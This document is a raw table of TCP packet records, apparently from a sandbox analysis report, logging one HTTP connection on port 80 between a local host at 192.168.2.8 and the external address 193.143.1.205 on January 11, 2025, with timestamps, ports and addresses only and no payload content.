Jan 11, 2025 00:48:57.255300999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.255325079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.255333900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.255338907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.255340099 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.255363941 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.255389929 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.281033993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.281054020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.281060934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.281066895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.281075001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.281081915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.281188965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.281193018 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.281193972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.281255960 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.291569948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.291580915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.291593075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.291661978 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.292054892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.292062044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.292074919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.292088985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.292094946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.292107105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.292112112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.292154074 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.292155027 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.311369896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.311533928 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.317914963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.317991972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.318080902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.318087101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.318099022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.318150043 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.318150043 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.318173885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.318285942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.318291903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.318305969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.318311930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.318311930 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.318372011 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.318372011 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.318389893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.318535089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.318541050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.318547964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.318553925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.318630934 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.318633080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.318639040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.318645000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.318650007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.318670034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.318675995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.318687916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.318691969 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.318694115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.318701029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.318706989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.318721056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.318747044 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.318766117 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.319060087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.319073915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.319080114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.319086075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.319092035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.319097042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.319108009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.319122076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.319124937 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.319124937 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.319128036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.319133997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.319147110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.319152117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.319158077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.319159031 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.319164038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.319169998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.319175959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.319184065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.319192886 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.319192886 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.319226027 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.319780111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.319786072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.319797993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.319803953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.319817066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.319823027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.319829941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.319833040 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.319866896 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.319878101 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.319905043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.319911003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.319921970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.319927931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.319933891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.319945097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.319951057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.319957018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.319963932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.319963932 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.319971085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.319977045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.319989920 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.320010900 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.322983027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.323049068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.323111057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.323117018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.323124886 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.323128939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.323169947 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.323193073 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.323214054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.323220968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.323226929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.323231936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.323244095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.323249102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.323256016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.323261023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.323267937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.323273897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.323337078 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.323337078 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.323337078 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.323684931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.323692083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.323703051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.323717117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.323726892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.323733091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.323744059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.323754072 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.323755026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.323766947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.323772907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.323779106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.323785067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.323791981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.323793888 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.323793888 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.323797941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.323843002 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.323865891 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.324745893 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.330118895 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.347733974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.347743988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.347755909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.347762108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.347768068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.347779989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.347788095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.347795010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.347867966 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.347867966 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.352355957 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.373498917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.373507977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.373514891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.373524904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.373533010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.373547077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.373552084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.373558998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.373619080 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.373619080 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.384251118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.384260893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.384273052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.384279013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.384289026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.384295940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.384310961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.384356022 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.384413958 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.403840065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.403848886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.403856039 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.403891087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.403897047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.403912067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.403918982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.403960943 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.403984070 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.410398960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.410412073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.410425901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.410433054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.410439014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.410444975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.410450935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.410455942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.410461903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.410469055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.410482883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.410485029 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.410487890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.410492897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.410531998 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.410557032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.410562992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.410568953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.410576105 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.410592079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.410598040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.410634041 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.410634995 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.410656929 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.410670042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.410676956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.410689116 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.410751104 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.410753012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.410759926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.410767078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.410773039 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.410778999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.410785913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.410828114 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.410828114 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.410900116 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.410912991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.410926104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.410932064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.410938025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.410964012 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.410994053 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.411045074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.411051035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.411062956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.411067963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.411082983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.411093950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.411099911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.411122084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.411130905 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.411130905 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.411132097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.411140919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.411144972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.411185026 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.411185026 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.411286116 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.411292076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.411303997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.411309004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.411323071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.411333084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.411340952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.411351919 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.411351919 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.411421061 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.411438942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.411453009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.411464930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.411469936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.411477089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.411488056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.411494017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.411499023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.411505938 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.411511898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.411518097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.411530018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.411550045 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.411581993 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.411581993 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.411606073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.411658049 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.415683985 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.420185089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.420192003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.420432091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.420444965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.420456886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.420463085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.420469046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.420480967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.420486927 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.420500994 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.420500994 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.420502901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.420510054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.420519114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.420520067 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.420533895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.420542002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.420547009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.420567989 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.420567989 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.420701027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.420706987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.420717955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.420723915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.420736074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.420747042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.420753956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.420756102 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.420756102 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.420759916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.420814991 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.420814991 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.425254107 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.446583986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.446597099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.446737051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.446748018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.446748018 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.446760893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.446768999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.446773052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.446820021 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.446820021 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.446836948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.446844101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.446927071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.446933985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.446945906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.446949959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.446984053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.446985960 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.446985960 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.446986914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.446993113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.447026968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.447027922 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.447033882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.447046041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.447094917 CET	49704	80	192.168.2.8	193.143.1.205
